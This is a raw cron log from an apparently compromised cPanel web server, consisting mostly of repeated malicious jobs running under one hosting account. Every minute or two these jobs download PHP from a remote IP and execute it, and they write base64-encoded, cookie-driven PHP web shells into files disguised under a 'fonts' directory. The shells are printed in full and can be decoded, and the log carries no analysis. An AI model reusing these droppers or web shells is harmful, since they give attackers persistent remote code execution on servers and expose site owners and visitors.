Aug 31 06:12:01 ip-184-168-122-23 CROND[11567]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:12:01 ip-184-168-122-23 CROND[11568]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:13:01 ip-184-168-122-23 CROND[11744]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:13:02 ip-184-168-122-23 CROND[11748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:13:02 ip-184-168-122-23 CROND[11746]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:13:02 ip-184-168-122-23 CROND[11747]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:14:01 ip-184-168-122-23 CROND[11847]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:14:01 ip-184-168-122-23 CROND[11848]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:14:01 ip-184-168-122-23 CROND[11852]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:14:01 ip-184-168-122-23 CROND[11853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:14:01 ip-184-168-122-23 CROND[11850]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:15:01 ip-184-168-122-23 CROND[11985]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11986]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:15:01 ip-184-168-122-23 CROND[11988]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11989]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11992]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11997]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11993]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:15:01 ip-184-168-122-23 CROND[11998]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:16:01 ip-184-168-122-23 CROND[12138]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:16:01 ip-184-168-122-23 CROND[12140]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 06:16:01 ip-184-168-122-23 CROND[12141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:16:01 ip-184-168-122-23 CROND[12142]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:16:01 ip-184-168-122-23 CROND[12144]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:16:01 ip-184-168-122-23 CROND[12145]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:17:01 ip-184-168-122-23 CROND[12281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:17:01 ip-184-168-122-23 CROND[12285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:17:01 ip-184-168-122-23 CROND[12283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:17:01 ip-184-168-122-23 CROND[12284]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:18:01 ip-184-168-122-23 CROND[12398]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:18:01 ip-184-168-122-23 CROND[12400]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:18:01 ip-184-168-122-23 CROND[12402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:18:01 ip-184-168-122-23 CROND[12401]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:18:01 ip-184-168-122-23 CROND[12403]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:19:01 ip-184-168-122-23 CROND[12688]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:19:01 ip-184-168-122-23 CROND[12686]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:19:01 ip-184-168-122-23 CROND[12687]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:19:01 ip-184-168-122-23 CROND[12685]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12874]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12875]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:20:01 ip-184-168-122-23 CROND[12876]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12878]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12880]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12881]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:20:01 ip-184-168-122-23 CROND[12884]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12883]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:20:01 ip-184-168-122-23 CROND[12885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 06:21:01 ip-184-168-122-23 CROND[13083]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:21:01 ip-184-168-122-23 CROND[13084]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:21:01 ip-184-168-122-23 CROND[13086]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:21:01 ip-184-168-122-23 CROND[13087]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:22:01 ip-184-168-122-23 CROND[13276]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:22:01 ip-184-168-122-23 CROND[13275]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:22:01 ip-184-168-122-23 CROND[13277]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:22:01 ip-184-168-122-23 CROND[13278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:22:01 ip-184-168-122-23 CROND[13282]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:23:01 ip-184-168-122-23 CROND[13383]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:23:01 ip-184-168-122-23 CROND[13384]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:23:01 ip-184-168-122-23 CROND[13381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:23:01 ip-184-168-122-23 CROND[13382]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:24:01 ip-184-168-122-23 CROND[13459]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 06:24:01 ip-184-168-122-23 CROND[13463]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Aug 31 06:24:01 ip-184-168-122-23 CROND[13465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Aug 31 06:24:01 ip-184-168-122-23 CROND[13466]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Aug 31 06:24:01 ip-184-168-122-23 CROND[13470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 06:25:01 ip-184-168-122-23 CROND[13570]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
